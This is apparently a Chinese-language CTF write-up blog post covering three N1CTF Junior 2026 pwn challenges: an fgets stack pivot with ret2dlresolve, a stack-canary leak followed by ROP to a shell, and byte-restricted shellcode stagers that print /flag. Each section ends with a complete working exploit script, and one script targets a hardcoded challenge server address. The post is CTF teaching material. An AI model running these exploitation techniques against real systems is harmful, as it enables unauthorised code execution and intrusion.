N1CTF Junior 2026 1/2 –PWN部分wp

onlyfgets

ret2dlresolve 两段式栈迁移

这题名字已经把核心点点出来了:程序里几乎只给你 fgets 作为输入能力,没有 read、没有花里胡哨的功能,但 fgets 的长度参数写大了,直接把它变成栈溢出入口。难点在于常规 ROP 拼参数不顺(缺 gadget),解法就落在“借用 main 里现成的 fgets 调用序列做二段输入 + 栈迁移”,第二段再用 ret2dlresolve 解析 system,执行 cat flag 拿 flag。

main 里会在栈上开一段很小的 buffer(sub rsp, 0x20 这种量级),但随后调用:

  • fgets(buf, 0x1f4, stdin)

也就是说 fgets 允许读进来 0x1f4 字节,栈上实际只留了 0x20,典型的栈溢出,能覆盖 saved RBP 和返回地址。常规检查一下防护后会发现:NX 开着(不能直接 shellcode),没有 canary,且一般是 no-PIE(地址固定),所以路线很清晰:ROP。

如果你试图一上来就 ret2libc(system),很快会卡住:没有足够好用的 pop rsi; pop rdx 之类 gadget,让你很难组织一次通用的 read(0, addr, len) 或者完整的 execve 参数。题目也没给你其他输入函数,只有 fgets

但 main 里本来就有一段“准备 fgets 参数再 call fgets”的汇编序列,里面会把:

  • rdi = rbp-0x20(buffer)
  • esi = 0x1f4(长度)
  • rdx = stdin

都设好再 call fgets

如果能把流程劫持到这段代码上,我们就等于白嫖了一次“带参数的第二次输入”,并且目的地址可以通过控制 RBP 来间接控制。


利用 main 的 fgets 序列完成二段输入 + 栈迁移

第一段 payload 的目标不是直接打 system,而是做两件事:

  • 把 saved RBP 改成我们想要的值(指向一块可写内存的“伪栈”区域 + 0x20)
  • 把返回地址改到 main 里那段 mov rdx, [stdin] / lea rax, [rbp-0x20] / mov esi,0x1f4 / mov rdi,rax / call fgets 的位置(也就是“参数设置 + 调用 fgets”的那条路径上)

这时发生的事情非常顺:

  1. CPU 跳到这段序列执行,它会把第二次输入写到 rbp-0x20
  2. 这段序列执行完,main 最后会 leave; ret
  3. leave 等价于 mov rsp, rbp; pop rbp,栈直接迁移到我们在 .bss/.data 里准备好的“伪栈”上
  4. ret 开始从伪栈执行第二段 ROP

这就把“只有 fgets”变成了“可控地址写入 + stack pivot”的组合技。


一个容易踩的坑:RELRO 页导致 resolver 压栈崩溃

这题是 Partial RELRO,但注意 GNU_RELRO 是按页保护的:某些地址段会整体变成只读页。ret2dlresolve 触发动态链接器解析符号时,ld.so 会在栈上做不少 push/sub。如果你把伪栈放在靠近可写页底部的位置,动态链接器把 rsp 往下压几百字节,可能直接压进只读页(比如 0x403xxx 那页),瞬间 SIGSEGV。

稳定做法是:把伪栈放得“高一点”,留足向下的空间。比如把第二段写到 0x404e00 这种靠近上界的位置(前提是该页确实可写),避免 resolver 一路把栈压到只读页里。


第二段:ret2dlresolve 动态解析 system

第二段 ROP 的目的很简单:调用 system("cat flag")。但题目不一定在 GOT/PLT 里直接给你 system,或者你不想依赖泄露 libc。ret2dlresolve 适合这种场景:伪造一条 .rela.plt 重定位项 + 一条 .dynsym 符号表项 + 字符串 "system",再调用 plt0 触发解析。

关键点是把三样东西摆在可写内存里:

  • fake Elf64_Rela(24 bytes):r_offset 指向一个可写位置(类似 fake GOT),r_info 里填符号索引和类型 R_X86_64_JUMP_SLOT(7),r_addend=0
  • fake Elf64_Sym(24 bytes):st_name 指向 "system".dynstr 的偏移(是偏移,不是地址),st_info 填全局函数符号那套
  • "system\x00" 字符串本体

然后 ROP 形态通常是:

  • pop rdi; ret 把参数设成 "cat flag" 的地址
  • 跳到 plt0
  • 栈上紧跟一个“reloc 参数”(本质是 .rela.plt 的 index,满足 fake_rela = JMPREL + index*24
  • 再跟一个返回地址(system 返回后回到哪里,随便给个退出函数/收尾地址就行)

解析完成后,动态链接器会把 system 的真实地址写进你指定的 r_offset,并直接跳过去执行,于是 system(rdi) 成功。


总体 payload 结构

第一段(栈上):

  • padding 覆盖到 saved RBP
  • saved RBP = 伪栈地址 + 0x20
  • RIP = main 内部“设置参数并 call fgets”的地址
  • 结束(等它去读第二段)

第二段(写入伪栈):

  • 伪栈上第一个 qword 当作 leave 后的 rbp(无所谓)
  • 接着摆 ROP:pop rdi; retplt0reloc_indexexit/close
  • 在伪栈某处放 "cat flag\x00"
  • 在伪栈靠后位置伪造 Elf64_Rela / Elf64_Sym / "system\x00",并保证它们的地址能对应到 JMPREL + index*24SYMTAB + sym_index*24

EXP

#!/usr/bin/env python3
import argparse
import socket
import struct
import subprocess
def p64(x): return struct.pack("<Q", x)
def p32(x): return struct.pack("<I", x)
POP_RDI        = 0x4011fc
PLT0           = 0x401020
MAIN_FGETS_SET = 0x4011dd
GATE_CLOSE     = 0x401166
SYMTAB = 0x4003c8
STRTAB = 0x4004b8
JMPREL = 0x4005d0
​
# 选一个足够高的 RW 区,避免 resolver 栈压到 RELRO 只读页
BUF      = 0x404e00
RBP2     = BUF + 0x20
​
CMD_OFF  = 0x100
CMD_ADDR = BUF + CMD_OFF
​
FAKE_RELA = 0x404fb0
RELOC_INDEX = (FAKE_RELA - JMPREL) // 24
assert FAKE_RELA == JMPREL + RELOC_INDEX * 24
​
FAKE_SYM = 0x404fd0
SYM_INDEX = (FAKE_SYM - SYMTAB) // 24
assert FAKE_SYM == SYMTAB + SYM_INDEX * 24
​
SYS_STR = 0x404fe8
ST_NAME = SYS_STR - STRTAB
​
FAKE_GOT = 0x404ff0
​
def build_stage1() -> bytes:
    return b"A"*0x20 + p64(RBP2) + p64(MAIN_FGETS_SET) + b"\n"
​
def build_stage2(cmd: bytes) -> bytes:
    payload = bytearray(b"A" * 0x1f4)
    payload[0x20:0x28] = p64(0)
    rop = b"".join([
        p64(POP_RDI),
        p64(CMD_ADDR),
        p64(PLT0),
        p64(RELOC_INDEX),  
        p64(GATE_CLOSE),    
    ])
    payload[0x28:0x28+len(rop)] = rop
    payload[CMD_OFF:CMD_OFF+len(cmd)] = cmd
​
    # fake Elf64_Rela (24 bytes): r_offset, r_info, r_addend
    r_info = (SYM_INDEX << 32) | 0x7  # R_X86_64_JUMP_SLOT
    rela = p64(FAKE_GOT) + p64(r_info) + p64(0)
    off_rela = FAKE_RELA - BUF
    payload[off_rela:off_rela+24] = rela
​
    # fake Elf64_Sym (24 bytes)
    # st_name(4), st_info(1), st_other(1), st_shndx(2), st_value(8), st_size(8)
    st_info = 0x12  # STB_GLOBAL(1)<<4 | STT_FUNC(2)
    sym = p32(ST_NAME) + bytes([st_info, 0]) + struct.pack("<H", 0) + p64(0) + p64(0)
    off_sym = FAKE_SYM - BUF
    payload[off_sym:off_sym+24] = sym
​
    s = b"system\x00"
    off_s = SYS_STR - BUF
    payload[off_s:off_s+len(s)] = s
​
    end = off_s + len(s)
    return bytes(payload[:end]) + b"\n"
​
def run_local(bin_path: str, ld_path: str, lib_dir: str, cmd: bytes):
    s1 = build_stage1()
    s2 = build_stage2(cmd)
    p = subprocess.Popen(
        [ld_path, "--library-path", lib_dir, bin_path],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
    )
    out, err = p.communicate(s1 + s2)
    print(out.decode("latin1", errors="ignore"), end="")
    if err:
        pass
​
def run_remote(host: str, port: int, cmd: bytes):
    s1 = build_stage1()
    s2 = build_stage2(cmd)
    with socket.create_connection((host, port)) as sock:
        sock.sendall(s1)
        sock.sendall(s2)
        data = b""
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
        print(data.decode("latin1", errors="ignore"), end="")
​
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--remote", nargs=2, metavar=("HOST", "PORT"))
    ap.add_argument("--bin", default="./onlyfgets")
    ap.add_argument("--ld", default="./ld-linux-x86-64.so.2")
    ap.add_argument("--libdir", default=".")
    ap.add_argument("--cmd", default="cat flag")
    args = ap.parse_args()
​
    cmd = args.cmd.encode() + b"\x00"
​
    if args.remote:
        host = args.remote[0]
        port = int(args.remote[1])
        run_remote(host, port, cmd)
    else:
        run_local(args.bin, args.ld, args.libdir, cmd)
​
if __name__ == "__main__":
    main()

ez_canary

先把交互逻辑和漏洞点摸清,再用一次稳定的泄露原语绕过 canary,最后 ROP 到 system("/bin/sh") 读 flag。远程还有个坑:服务端输出被一层 client 包装成字符串打印,需要注意下。

server 监听端口,acceptfork,子进程把 socket dup20/1/2,之后进入 pwn_handler()。交互大概长这样:

  • 打印 Do you want to enter other functions?
  • scanf("%d",&choice)
  • 打印固定字符串 This is H canary!
  • choice == 1 进入 gift()
  • 否则执行 read(0, rbp, 0x10)(往当前栈帧的 rbp 位置读 16 字节)

gift() 里有明显栈溢出:栈上 0x40 的 buf,却 read(0, buf, 0x200);同时启用了 stack canary,所以不能无脑覆盖返回地址。

1)pwn_handler 的 16 字节“栈帧顶点写”可控返回

read(0, rbp, 0x10) 这句很关键:它不是往 buf 读,而是往 rbp 指向的位置读 16 字节,刚好覆盖:

  • saved_rbp(8)
  • return_address(8)

也就是可以把 pwn_handler 的返回地址改成任意位置,同时还能控制下一帧的 rbp 值。这种长度虽然短,但足够做跳转+伪造 rbp。

2)pwn_handler 内部自带“write 泄露”片段

pwn_handler 里有一段代码形如:

ea rax, [rbp-0x20]
mov rsi, rax
mov edi, 1
call write@plt

把 return_address 改到这里,再把 saved_rbp 改成 target+0x20,就会执行 write(1, target, len),等价于任意地址读(len 由当时寄存器决定)。这就是整题的核心:不用爆破 canary,直接 leak。

远程“client 包装输出”的坑 本地直接连 server 时,write 是原始字节输出;远程则经常是你连到 client,它把 server 的输出用 printf(“[Server]: %s”, buf) 打印出来:

每段输出前多了 [Server]: 前缀,不吃掉就会把前缀当作“泄露地址”解析,出现 0x7265767265535b0a 这种明显是 ASCII 的假地址(\n[Server]…)。

更致命:%s 遇到 \x00 截断。stack canary 的最低字节固定是 0x00,所以直接从 canary 地址开始“泄露字符串”会变成空串,必然拿不到 canary,最后 * stack smashing detected *

因此远程必须做两件事:解析时跳过 [Server]: ,泄露 canary 时从 canary+1 开始读 7 字节,再手动补回最低字节 \x00。

泄露链路:libc_base → environ → canary → ROP 题目给了 libc-2.31.so,偏移都能直接用。

第一次泄露:读 libc_start_main@GOT 得到 libc_start_main 实际地址 → libc_base

第二次泄露:读 environ(libc 的全局变量)得到 envp_addr(初始栈上的 envp 指针)

第三次泄露:用 envp_addr 推 canary 地址,再泄露 canary(注意从 +1 泄露 7 字节)

这题在给定二进制/运行方式下,pwn_handler 的 canary 地址可以用稳定差值表示:

canary_addr = envp_addr – 0x110

(这个差值来自本地跑题确认:environ 指向的 envp 附近栈布局与函数调用栈深度固定,所以偏移稳定;远程同环境 glibc 2.31 一致即可复用。)

拿到 canary 后进 gift() 构造 payload:

buf 到 canary 偏移是 0x38(buf 在 [rbp-0x40],canary 在 [rbp-0x8]),布局如下:

“A”0x38 + canary + “B”8 + ROP

ROP 用 libc 里的 pop rdi; ret + system(“/bin/sh”),之后交互 cat flag。

服务端限制最多 5 连接后重启,主要是卡“按字节爆破 canary”的做法。上面的方案不需要爆破,只做 3 次泄露 + 1 次利用,总共 4 次连接,稳定压在限制内。

EXP

#!/usr/bin/env python3
from pwn import *
​
context.arch = "amd64"
context.log_level = "debug"
​
HOST = "60.205.163.215"
PORT = 40697
​
WRITE_GADGET = 0x401549          
GOT___LIBC_START_MAIN = 0x403ff0 
POP_RDI = 0x401893               
RET = 0x40147d                   
OFF___LIBC_START_MAIN = 0x23f90
OFF_ENVIRON = 0x1ef600
OFF_SYSTEM = 0x52290
OFF_BINSH  = 0x1b45bd
​
CANARY_FROM_ENVP_OFF = 0x110     
​
def conn():
    return remote(HOST, PORT)
​
def leak_raw(addr):
    
    io = conn()
​
    io.recvuntil(b"Do you want to enter other functions?")
    io.sendline(b"2")
    io.recvuntil(b"This is canary!")
    io.clean(timeout=0.05)
​
    io.send(p64(addr + 0x20) + p64(WRITE_GADGET))
​
    # 吃掉 client 的前缀
    io.recvuntil(b"[Server]: ")
​
    data = io.recvrepeat(0.3) 
    io.close()
​
    data = data.split(b"Server closed connection.")[0]
    return data
​
def leak_u64(addr):
    d = leak_raw(addr)
    if not d:
        return 0
    return u64(d.ljust(8, b"\x00"))
​
def main():
    libc_start_main = leak_u64(GOT___LIBC_START_MAIN)
    log.success(f"__libc_start_main = {hex(libc_start_main)}")
    libc_base = libc_start_main - OFF___LIBC_START_MAIN
    log.success(f"libc_base         = {hex(libc_base)}")
    envp_addr = leak_u64(libc_base + OFF_ENVIRON)
    log.success(f"envp_addr         = {hex(envp_addr)}")
    canary_addr = envp_addr - CANARY_FROM_ENVP_OFF
    tail7 = leak_raw(canary_addr + 1)[:7]
    if len(tail7) < 7:
        log.warning(f"canary tail too short ({len(tail7)}), retry the whole run")
        return
​
    canary = u64(b"\x00" + tail7.ljust(7, b"\x00"))
    log.success(f"canary            = {hex(canary)}")
    io = conn()
    io.recvuntil(b"Do you want to enter other functions?")
    io.sendline(b"1")
    io.recvuntil(b"This is canary!")
​
    payload = b"A"*0x38
    payload += p64(canary)
    payload += b"B"*8
    payload += p64(RET)                    
    payload += p64(POP_RDI)
    payload += p64(libc_base + OFF_BINSH)
    payload += p64(libc_base + OFF_SYSTEM)
​
    io.send(payload)
    io.interactive()
​
if __name__ == "__main__":
    main()

Old_5he1lc0de

题目给了个 chal.py 包一层判题逻辑:你需要连续跑两次 ./chal,每次喂一段十六进制 shellcode。判题会把你输入的 shellcode 字节值加入 blacklist:第 2 次输入里如果出现任何第 1 次已经出现过的字节值就直接判错;同时 blacklist 的“字节取值种类数”必须 < 16。也就是说,两次输入里所有出现过的不同 byte value 加起来最多 15 种。判题还会检查每次运行 ./chal 的 stdout 里是否包含 /flag 内容,少一次都不行。:contentReference[oaicite:0]{index=0}

重点在于:限制统计的是“你输入的字节”,不是运行时内存里被写出来的字节。所以这题典型做法不是硬塞一个 ORW shellcode,而是做两个极小字节集的 stager,让它们在 RWX 内存里自生成真正的 payload

chal 的行为(从运行现象/调试很容易确认)是把你的输入放进一块可执行内存里执行。只要这块内存是可写可执行(RWX),就能在执行过程中把想要的任意 opcode 写到某个位置,然后跳过去跑。由于判题只扫描输入字节,你运行时写出来的 syscall(0x0f 0x05)/flag 字符串等都不会触发黑名单限制。

于是目标变成:两次分别提交一个“写码器”,每个写码器只用极少的 byte values,且两者不重合;写码器在运行时生成一段标准 ORW(open/read/write)并执行,保证每次跑 ./chal 都把 flag 打印出来。

判题逻辑是:总共两轮(循环 2 次),每轮输入 user_input,如果 user_input 中某个 byte value 在 blacklist 里出现过,直接 ByteCodeAlreadyUsed,blacklist |= set(user_input),如果 len(blacklist) >= 16,直接 ByteCodeTypesOverLimited,跑 ./chal,stdout 里必须包含 flag,否则 FlagNotFound

这里的“len(blacklist)”是“不同字节取值种类数”,不是长度。也就是说你两次输入加起来最多只能用 15 种 byte value,并且两轮之间不能复用 byte value。

所以我把打法设计成“两段 stager + 运行时写真实 payload”,并且把 byte value 空间一分为二:第一轮用 7 种字节值,第二轮用 8 种字节值,总共 15 种,刚好卡上限。


Stager 1:基于 [rdx+rcx] 写字节 + jmp rdx

第一段追求极致“字节种类少”。核心是用一个固定三字节指令反复写内存:

  • mov byte ptr [rdx+rcx], al 的编码是 88 04 0a

只要能控制 al 是想写的值、rcx 是偏移,就能把 payload 一字节一字节刷进 mmap 区域。

为了只用很少的 byte values,我把调值和移动偏移也选成字节值友好的指令:

  • add al, 104 01(注意这里会引入 01 这个 byte value)
  • inc ecxff c1
  • 最后跳去执行:jmp rdxff e2

这样第一段输入只需要这些 byte values: {88, 04, 0a, ff, c1, 01, e2}

写入流程就是:

  1. 反复 add al,1 把 AL 走到目标字节值
  2. mov [rdx+rcx], al 写一个字节
  3. inc ecx 写下一个位置
  4. 重复直到 payload 写完
  5. jmp rdx 回到 mmap 起始执行刚写好的 payload

这种写法有一个小细节:执行流在 stager 中跑的时候会顺序取指,如果你正在覆盖自己正在执行的区域,容易踩到指令。实际做法是先在前面铺一段“安全滑道”(同样的 88 04 0a 指令重复很多次),让 RIP 先滑过去,写码发生在不会立刻被执行的位置;写完后再 jmp rdx 回头执行生成的 payload。这个滑道不会改变 al/rcx,属于“顺手填充”。


Stager 2:lea rdi, [rdx+imm] + stosb 写字节

第二段需要和第一段完全不共享 byte values,同时还得足够强能写出完整 payload。这里我用了另一套写法:

  • stosbaa,把 al 写到 [rdi]rdi++
  • inc alfe c0,调出想写的字节
  • lea rdi, [rdx + imm32] 把写指针挪到 stager 末尾后面(避免覆盖正在执行的指令流)

lea rdi, [rdx+0x48ba] 的编码能控制成只引入一小撮固定字节值:48 8d ba ba 48 00 00(其中 00 也会进入集合)。整体第二段选用的 byte values 是: {48, 8d, ba, 00, fe, c0, aa, 90}

这里的 90nop,用来把第二段整体长度 padding 到正好 0x48ba 字节:因为 rdi 被设置到 rdx+0x48ba,当执行流跑完 stager 后自然会落到这个位置开始执行——那一段位置刚好就是我通过 stosb 写出来的 payload 起点。这样不需要额外的跳转指令(也就不用引入更多 byte values)。

题目环境通常会把寄存器/栈搞得不友好(这题里 rsp 甚至可能被置 0)。所以真实 payload 的第一步不是 open,而是把栈搬到可控内存里:

  • 在 mmap 区域末尾找一块空间当栈
  • "/flag\0" 压栈/写入
  • open("/flag", 0) -> fd
  • read(fd, buf, 0x100)
  • write(1, buf, nread)

生成 payload 时就不再受“输入字节集合”约束了,可以正常用 syscallmov rax, imm 等完整指令集。

两轮各自跑一次 ./chal,各自写出同一份 ORW payload 并执行,保证两次 stdout 都包含 flag,满足判题要求。

这题表面是“shellcode 字节种类限制”,本质是“输入字节去重黑名单 + 种类上限”。绕法不是找某种神奇 15-byte-value 的 ORW,而是把限制变成“写码器的字节集合”,通过 RWX 自生成绕过;再把写码器拆成两套互不相交的 byte values,分别在两次运行中独立打印 flag。整题的难点就在于:把“能写任意字节”这件事,用极小且互斥的 opcode 字节集合表达出来。

EXP

#!/usr/bin/env python3
import struct
​
PAYLOAD_HEX = "488da2f07f000031c048bb2f666c6167000000534889e731f6b0020f0589c74889e6ba0001000031c00f0589c2bf01000000b8010000000f05f4"
​
payload = bytes.fromhex(PAYLOAD_HEX)
​
​
def gen_stager1(payload_bytes, sled_len=None):
    sled_unit = bytes([0x88, 0x04, 0x0A]) 
    if sled_len is None:
        L = ((len(payload_bytes) + 2) // 3) * 3
        if L <= len(payload_bytes):
            L += 3
        sled_len = L
    else:
        assert sled_len % 3 == 0 and sled_len > len(payload_bytes)
​
    sled = sled_unit * (sled_len // 3)
    code = bytearray()
​
    cur = 0
    for b in payload_bytes:
        delta = (b - cur) % 256
        if delta:
            code += bytes([0x04, 0x01]) * delta  
        code += sled_unit
        code += bytes([0xFF, 0xC1])           
        cur = b
​
    code += bytes([0xFF, 0xE2])               
    return sled + bytes(code)
​
​
def gen_stager2(payload_bytes, L2=0x48BA):
    code = bytearray()
​
    code += bytes([0x48, 0x8D, 0xBA]) + struct.pack('<I', L2)
    cur = 0
    for b in payload_bytes:
        delta = (b - cur) % 256
        if delta:
            code += bytes([0xFE, 0xC0]) * delta 
        code += bytes([0xAA])                  
        cur = b
​
    if len(code) > L2:
        raise SystemExit(f"stager2 too long: {len(code)} > {L2}")
​
    code += bytes([0x90]) * (L2 - len(code))
    return bytes(code)
if __name__ == '__main__':
    p = payload
    s1 = gen_stager1(p, sled_len=60)
    s2 = gen_stager2(p, L2=0x48BA)
​
    set1, set2 = set(s1), set(s2)
    assert set1.isdisjoint(set2)
    assert len(set1 | set2) <= 15
​
    print(s1.hex())
    print(s2.hex())
python3 exp.py > solution.txt && nc ip port < solution.txt

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇